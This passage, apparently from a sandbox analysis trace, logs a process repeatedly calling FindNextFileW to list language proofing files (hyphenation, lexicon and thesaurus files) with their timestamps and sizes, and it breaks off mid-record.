ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn.fca", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn.hyp", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44280, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn21.hsp", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff6, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn32.clx", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="frn93.ths", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre.fca", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre.hyp", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48db5, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre110.hsp", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gre32.clx", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm.fca", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm.hyp", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de938e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x98af7, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm104.hsp", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm32.clx", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de938e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc0c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="grm92.ths", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb.fca", cAlternateFileName="")) returned 1 [0084.317] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb.hyp", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb47de, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb134.hsp", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1411a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x0, dwReserved1=0x0, cFileName="heb32.clx", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3c8900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv.hyp", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x97000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv132.lex", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrv32.clx", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1ff880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f21, dwReserved0=0x0, dwReserved1=0x0, cFileName="hrvphon.env", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun.fca", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun.hyp", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9eeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun109.hsp", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0f4ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hun32.clx", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl.fca", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl.hyp", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2efe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl26.hsp", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffb, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl32.clx", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="itl61.ths", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav.hyp", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav135.lex", cAlternateFileName="")) returned 1 [0084.318] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="lav32.clx", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0ced80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="lavphon.env", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit.hyp", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73800, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit136.lex", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ffe, dwReserved0=0x0, dwReserved1=0x0, cFileName="lit32.clx", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0a8c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa58, dwReserved0=0x0, dwReserved1=0x0, cFileName="litphon.env", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x47c, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw.fca", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw.hyp", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff1, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw32.clx", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de6d780, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4669e, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw38.hsp", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x57400, dwReserved0=0x0, dwReserved1=0x0, cFileName="nrw56.ths", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="nyn.fca", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nyn.hyp", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nyn16.clx", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de47620, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3b11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="nyn47.hsp", cAlternateFileName="")) returned 1 [0084.319] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, 